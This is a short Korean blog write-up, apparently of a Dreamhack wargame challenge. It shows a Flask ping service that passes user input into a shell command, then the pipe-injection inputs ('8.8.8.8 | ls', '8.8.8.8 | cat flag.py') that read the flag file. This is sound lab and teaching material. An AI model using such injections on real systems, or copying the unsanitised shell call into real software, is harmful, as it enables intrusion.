반응형
아래는 문제 코드다.
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template, redirect
from flag import FLAG
APP = Flask(__name__)
@APP.route('/')
def index():
return render_template('index.html')
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 {host}'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
POST 방식으로 host를 입력받는다.
ping -c 3 뒤에 host 값이 붙어서 명령어가 완성된다.
8.8.8.8 | ls
를 입력하니 flag.py가 있는 것읋 확인했고
8.8.8.8 | python3 flag.py
룰 입력하니 아무런 값도 출력하지 않았다.
8.8.8.8 | cat flag.py
를 입력하니 플래그를 확인할 수 있었다.
반응형
'문제풀이 > 웹해킹' 카테고리의 다른 글
[dreamhack] Type c-j 문제풀이 (0) | 2024.05.17 |
---|---|
[dreamhack] easy-login 문제풀이 (0) | 2024.05.10 |
[dreamhack] simple_sqli_chatgpt 문제풀이 (0) | 2024.05.08 |
[dreamhack] random-test 문제풀이 (1) | 2024.05.01 |
(Dreamhack) Apache htaccess문제 풀이 (0) | 2023.02.24 |